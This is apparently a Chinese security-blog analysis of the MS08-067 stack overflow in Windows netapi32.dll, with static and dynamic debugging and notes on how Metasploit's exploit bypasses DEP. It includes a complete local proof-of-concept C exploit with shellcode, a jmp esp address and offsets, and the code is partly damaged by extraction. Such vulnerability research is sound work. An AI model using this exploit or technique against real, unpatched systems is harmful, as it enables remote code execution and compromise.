漏洞考古：MS08-067詳細分析 - 網安 - 專業的網絡安全產業、社區、知識平臺

漏洞介紹

1、漏洞簡述

漏洞名稱：MS08-067
漏洞編號：CVE-2008-4250
漏洞類型：棧溢出
漏洞影響：遠程代碼執行
CVSS評分：9.8
利用難度：Medium
利用方式：遠程

2、組件概述

SMB是一種協議名，smb服務的作用在于計算機間共享文件、打印機和串口等。

Server Message Block Protocol，服務器信息塊協議(SMB)，為網絡計算機客戶程序提供一種從服務程序讀寫文件并請求服務的方法。SMB協議可在互聯網的TCP/IP協議或者互聯網數據包交換和NetBEUI等協議之上使用。使用SMB協議，應用程序可訪問遠程服務器的文件以及打印機、信槽和命名管道等資源。因而，客戶程序可以讀、寫以及更新遠程計算機上的文件，它也可以跟接收SMB客戶請求的任意服務程序通信。

SMBv2是SMB協議的第二版本，相較SMBv1做了諸多擴展，部分數據包結構發生了變化，但仍保留了SMBv1的部分基本特征。

3、漏洞利用

MS08-067漏洞是通過MSRPC over SMB通道調用Server服務程序中的NetPathCanonicalize函數時觸發的。而NetpwPathCanonicalize函數在遠程訪問其他主機時，會調用CanonicalizePathName函數，對遠程訪問的路徑進行規范化（將路徑字符串中的'/'轉換為'\',同時去除相對路徑".\"和"..\"），而在CanonicalizePathName函數中調用的RemoveLegacyFolder發生了棧緩沖區溢出，可以造成RCE。

利用該漏洞可以達到遠程代碼執行的效果，通過使用不同的shellcode，可以實現任意功能，但是shellcode空間大小有限制。

4、漏洞影響

根據Metasploit 中的Exp確定實際可以被攻擊的操作系統版本。Windows 2000、2003 SP0\SP1\SP2、XP SP0/SP1/SP2/SP3

漏洞分析

1、復現環境

操作系統版本：

Microsoft Windows 10 專業版 10.0.18363
Kali Linux 5.10.0 2021.2
Windows XP SP3 Chinese - Simplified (NX)

軟件版本：

Metasploit Framework: 6.1.10-dev
IDA Pro 7.5
Ollydbg 1.0
Microsoft Visual Studio Community 2019 版本 16.8.4

2、漏洞成因

漏洞產生于netapi32.dll，問題發生在其導出函數NetpwPathCanonicalize所調用的子函數CanonicalizePathName中的RemoveLegacyFolder函數中，原因為其在向上遍歷\字符時棧首地址空間的邊界檢查無效，從而導致遍歷完成，進行目錄字符拷貝時，可以經過構造產生棧溢出，覆蓋到返回地址中。

移除經典路徑：

RemoveLegacyFolder函數的作用就是將路徑中的經典路徑去除。

函數實現思路：移去經典路徑.\

從路徑開頭向右遍歷依次去除.\即可。移去經典路徑..\。

對于經典目錄..\。

如果p1為當前的指針，p2和p1總是相差3個字符的位置，因為p2到p3中間的路徑長度FOLDER2是不固定的，所以無法直接獲取到p3的位置，對于獲取到p3的位置，主要有以下兩種思路。

思路1：使用變量記錄每一個\的位置，當定位到..\經典目錄時，直接獲取到p3的位置，進行復制。
思路2：從p2左側開始依次向前開始遍歷，尋找首次出現的\的位置即p3，進行復制。

RemoveLegacyFolder就是采用思路2來移除經典路徑..\的，向前搜索的過程存在風險，并且對其邊界檢查無效，從而導致了緩沖區溢出的產生。

3、靜態分析

函數調用鏈NetpwPathCanonicalize->CanonicalizePathName->RemoveLegacyFolder

NetpwPathCanonicalize

函數作用：NetpwPathCanonicalize用于格式化網絡路徑字符串。

如果prefix串非空，將prefix串與path串用\相連，并復制輸出到串can_path中，輸出串的容量為maxbuf字節大小。

prefix + '\' + path => can_path [max_buf]

函數原型：

Int NetpwPathCanonicalize(    Uint16 path[ ],            // [in]    path name    Uint8 can_path[ ],        // [out]  canonicalized path    Uint32 maxbuf,            // [in]     max size of can_path    Uint16 prefix[ ],        // [in]     path prefix    Uint32* pathtype,        // [int out] path type    Uint32 pathflags        // [in]    path flags, 0 or 1);

用ida Pro加載netapi32.dll，定位到NetpwPathCanonicalize函數中，定位到調用CanonicalizePathName函數的位置。

CanonicalizePathName

函數執行流程：在CanonicalizePathName函數中，對傳入的prefix參數進行長度判斷其不超過0x208，判斷prefixSize + pathSize的長度不超過0x207，檢查通過后拼接prefix和path到wchPathBuffer路徑緩沖區中，將路徑緩沖區中的路徑字符串中的/替換成\，檢查Dos路徑類型，將wchPathBuffer字符緩沖區傳入RemoveLegacyFolder函數中用來移除經典路徑。

在函數開始的位置檢查pwchPrefix指向的地址是否為空。

判斷pwchPrefix索引為0的字符的值不為0，字符串的長度長度不大于0x208，符合判斷條件后，將pwchPrefix前綴字符串拷貝到wchStrBuffer緩沖區中，判斷pwchCanPath緩沖區的pwchPrefixSize+1下標的位置是否為\或/者，如果不是則在wchPathBuffer中拼接\\。

判斷參數pwszPath的開頭部分是否是\或者/符號，如果是的話，對其指針+1。

獲取pwchPath的長度，檢查，pwchPrefixSize <=pwchPathSize + pwchPrefixSize <= 0x207是否比Path本身的長度小，是否大于0x207。

從這里可以看到，構造shellcode時，有長度限制，即不能超過0x207 * 2 => 1038個字節(這里使用的wcslen，unicode占用兩個字節的數據，所以×2)

檢查通過，將pwchPath拷貝到wchPathBuffer緩沖區中，接下來替換路徑緩沖區中的/字符為\字符，檢查DOS路徑類型，將處理完后的緩沖區的地址，送入RemoveLegacyFolder中進行去除經典路徑。

RemoveLegacyFolder

函數執行流程：RemoveLegacyFolder函數首先判斷首字符是否是\然后向后遍歷尋找\..\，尋找到后經過判斷將經典路徑中后一個\的位置后的路徑字符串，拷貝到經典路徑中第一個\的位置，然后向前遍歷\定位到上級目錄，接著向后遍歷尋找\..\，接著進行第二次移除經典路徑的操作。

第一次移除經典路徑：跟進RemoveLegacyFolder函數中，函數開頭判斷傳入的路徑緩沖區索引為0的字符是否為\或者/。

判斷路徑緩沖區索引為1的字符是否是\或者/。

接著更新p1指針的值為字符緩沖區的首地址，向后遍歷，判斷p1指向的字符否為：

當p1指向的字符為\時，更新指針p3為p2的值，更新變量temp為p1的值，執行完成后跳回到循環中。

當p1指向的字符為.時，判斷其是否為經典路徑\..\，符合條件后，從p1+4的位置開始的路徑(為經典路徑后的位置)，拷貝到p3指向的位置(p3指向字符\)，此處操作的作用為移除經典路徑\..\極其上級目錄。

第二次移除經典路徑：接著向下執行。

更新指針：更新temp變量為p3的值，更新指針p1為p3的值，更新eax為p3-2的值。

向前遍歷\。

邊界檢查：判斷eax指向的地址是否等于字符緩沖區的起始地址。

在第一次執行到時，eax就已經超過了緩沖區的頭部，向上越界越界了，此處再進行jz相等條件的比較是無效的，應該將其中的jz 跳轉改為jbe 小于等于。

無效的邊界檢查和使用不安全的wcscpy函數，是導致溢出的直接原因。

在向前獲取到\的地址后，p3指針指向該地址。

向下執行，跳轉到向后遍歷尋找p1指向的.的部分，緊接著判斷經典路徑，進行拷貝操作。

當p1指向.時跳出循環，判斷路徑是否是/../，判斷p3指向的地址是否為空地址，判斷無誤后開始進行拷貝，由于此時p3指向的地址，已經遠遠超過緩沖區的地址，所以此時使用wcscpy函數進行拷貝會產生溢出，經過精心構造，覆蓋返回地址，從而控制eip。

分析到這里可以發現，第二次移除經典路徑，向上遍歷到的\的位置至關重要。

接下來開始分析《0day安全》書里的poc和Metasploit的exp是如何產生\，如何構造攻擊包從而覆蓋返回地址，過掉系統保護，從而執行shellcode的。

4、動態調試

本地溢出調試

環境配置

本地溢出使用的poc為《0day安全》26.4.5章節中的ms08-067_failwest.c的基礎上進行修改。

修改了偏移量和jmp esp的地址。

使用Visual Studio 2019 Debug版本編譯后，偏移量發生了變化(112 => 109)，我們用來調試的目標操作系統與書中也發生了變化，所以要進行更新。

編譯選項：

屬性頁->Debug->配置屬性->

常規->平臺工具集：Visual Studio 2017 - Windows XP(v141_xp)
C/C++->代碼生成->運行庫->多線程調試(/Mtd)
鏈接器->高級->隨機基址：否(方便調試，也可以不關閉)

關閉系統DEP：

系統屬性->高級->性能->設置->性能選項->數據執行保護。

源碼：

// ms08-067_localoverflow.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。//
#include #include 
typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);
// address of jmp esp//xp sp3 chinese#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"
//shellcode#define SHELL_CODE \"\x90\x90\x90\x90" \"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[]){    WCHAR path[256] = { 0 };    WCHAR can_path[256] = { 0 };    DWORD type = 1000;    int retval;    HMODULE handle = LoadLibrary(L".\etapi32.dll");    MYPROC Trigger = NULL;
    if (NULL == handle)    {        wprintf(L"Fail to load library!");        return -1;    }
    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");    if (NULL == Trigger)    {        FreeLibrary(handle);        wprintf(L"Fail to get api address!");        return -1;    }
    path[0] = 0;    //112 => 109    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");    wcscat(path, (const wchar_t*)JMP_ESP);    wcscat(path, (const wchar_t*)SHELL_CODE);
    type = 1000;    wprintf(L"BEFORE: %s", path);    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);    wprintf(L"AFTER : %s", can_path);    wprintf(L"RETVAL: %s(0x%X)", retval ? L"FAIL" : L"SUCCESS", retval);    FreeLibrary(handle);
    return 0;}

編譯后執行，可以看到成功執行了彈窗。

動態分析溢出流程

接下來使用ollydbg進行動態調試，定位到溢出點。

定位到main函數中調用NetpwPathCanonicalize函數調用的位置，分析參數可以看到攻擊流量由path參數傳入，prefix參數為空。

跟進NetpwPathCanonicalize中定位到CanonicalizePathName調用位置。

在CanonicalizePathName函數中，當傳入的prefix參數為空時，不執行對prefix參數的長度判斷，直接判斷Path參數的長度是否符合要求 pwchPrefixSize <=pwchPathSize + pwchPrefixSize <= 0x207。

判斷完后拼接到路徑緩沖區中。

然后進行替換/為\，檢查DOS路徑，移除經典路徑的操作。

跟進移除經典路徑函數0x5FDDA220中，判斷首字符為\進行跳轉。

判斷第二個字符是否是\或者/，不相等則進行跳轉。

接著向后查找經典路徑，判斷是否為經典路徑\..\，符合條件進行copy，此時第一次copy時src在范圍內，不會產生溢出。

向后執行，向前遍歷上一個\的位置，此處的越界檢查是無效的是導致溢出的直接原因。

這里直接F4跳出循環，此時eax指向了0x12F332，也就是etapi32.dll字符串，該字符串由Loadlibrary函數執行后產生(使用Visual Studio 2019 Debug編譯的程序，在windows xp sp3系統中執行)。

向上遍歷到后，更新到p3指針中，繼續跳轉到向后遍歷尋找字符.，判斷是否是經典路徑/../。

判斷完成后，進行copy，可以看到此時p3指向的目標地址0x12332，已經超出了當前的棧頂0x12F3FC，所以在copy以后會覆蓋棧頂及返回地址，測量與返回地址的偏移，去構造就可以控制eip。

進入函數wcscpy中，可以測算拷貝的目標地址與返回地址之間的偏移為0x12F3F8 - 0x12F332 = 0xC6 = 198，因為是unicode字符串，所以要把填充的字符數量根據偏移除以2，為99，所以最終需要填充的字符數量為99個。

繼續執行，在本地測試中關掉了系統DEP保護，所以這里直接用了jmp esp跳板的地址來跳轉到棧上執行shellcode。

內存布局分析

poc使用的攻擊數據布局如下：

\字符產生的原因

在數據窗口定位到前面匹配到的\在內存中的位置0x12F332。

執行過Loadlibrary后，其位置寫入了/netapi32.dll字符串。

遠程溢出調試

環境配置

查看netsvcs服務(提供SMB服務的svchost進程)進程ID。

用OD附加該進程，在netapi32.dll中的NetpwPathCanonicalize上下斷點，右鍵查看所有模塊中的名稱。

跟進函數在頭部下斷點，按F9鍵運行。

在Metasploit中使用ms08-067漏洞進行攻擊。

靶機在接收到遠程RPC調用NetpwPathCanonicalize的攻擊流量后，會在設置的斷點處斷下，接下來就可以進行動態調試了。

在此處建立虛擬機快照，方便后續調試！

動態分析溢出流程

對傳入的參數進行分析，查看其與本地溢出有什么不同。同樣是在path參數中傳遞攻擊數據，不過其設置了prefix為\，設置can_path緩沖區的大小為674。

動態執行的流程和前面幾乎是一樣的，之前已經分析過了，在這里我們主要關注以下三點：

如何產生\字符的。
溢出后突破DEP到執行到shellcode的流程。
攻擊數據布局。

\字符產生的原因

定位到第二次執行的位置wcscpy。

在內存中窗口定位到\的位置，恢復快照(因為有ASLR，棧地址下次攻擊流量再打過來就變了)，對0x1B4F444的\的位置下內存寫入斷點，在此處斷下，此時并不能看到是哪條指令對其寫入了\。

再次恢復快照，按F4執行到0x7C933C90處，逐行執行，發現是在7C933C9F E8 F1D5FEFF call ntdll.RtlInitUnicodeString處寫入了數據。

再次恢復快照跟進函數中，重復流程，最終在函數內定位到寫入\的位置。

進行棧回溯分析，查看是什么原因導致了該處指令，向0x1B4F444寫入0x5C字符。

字符產生的原因

經過分析，發現寫入的0x5C是其傳入的unicode字符串的長度 * 2 + 2的值。

接著向上進行棧回溯分析，查看調用點在哪里，用于計算長度產生\的字符串是屬于Path參數中的，所以幾乎可以斷定，這里的\是通過構造攻擊包而產生的，一定在NetpwPathCanonicalize的調用范圍內。

第一層

第二層

第三層，可以看到來到了CanonicalizePathName函數中的位置，產生\的原因在CheckDosPathType這個API之中。

搞清楚了調用關系，現在可以用ida來正向分析流程，來判斷攻擊包里是什么觸發導致了其寫入\的原因了。

跟進CheckDosPathType函數中，跟蹤參數eax的值。

跟進ntdll.RtlIsDosDeviceName_U@4函數中，發現函數內部也沒有進行其他處理，跟進該函數內調用的_RtlIsDosDeviceName_Ustr函數中。

在RtlIsDosDeviceName_Ustr函數中，

發現其從后向前遍歷路徑字符串，尋找倒數第一個\，/，: 字符。

然后判斷其后面的第一個字符是否是l，c，p，a的任意一個(這里會將大寫轉換為小寫)，符合條件才會調用RtlInitUnicodeString函數，其unicode字符串的長度 * 2 符合0x5E才能寫入\。

因為函數的棧是向上生長的，寫入\處的調用鏈為CanonicalizePathName->CheckDosPathType->ntdll.RtlIsDosDeviceName_U@4->ntdll._RtlIsDosDeviceName_Ustr->RtlIsDosDeviceName_Ustr->ntdll.RtlInitUnicodeString。

而溢出函數wscpy的調用鏈為CanonicalizePathName->RemoveLegacyFolder->wcscpy，所以wcscpy的返回地址在棧中的位置，必定在寫入\位置的下面，所以就會導致了可以測算偏移，來構造填充可以精確的覆蓋到返回地址。

突破DEP

這里主要分析溢出后執行的路徑，觀察其是如何關掉DEP保護的。

在wscpy執行后，覆蓋到返回地址的值為0x58FC17C2，執行跟進，發現其是利用NtSetInformationProcess來關閉DEP保護的，而eax指向的地址存儲著20408的值，該地址在所有版本的操作系統中都是一段可讀寫的空間。NtSetInformationProcess執行時需要傳入這類的空間。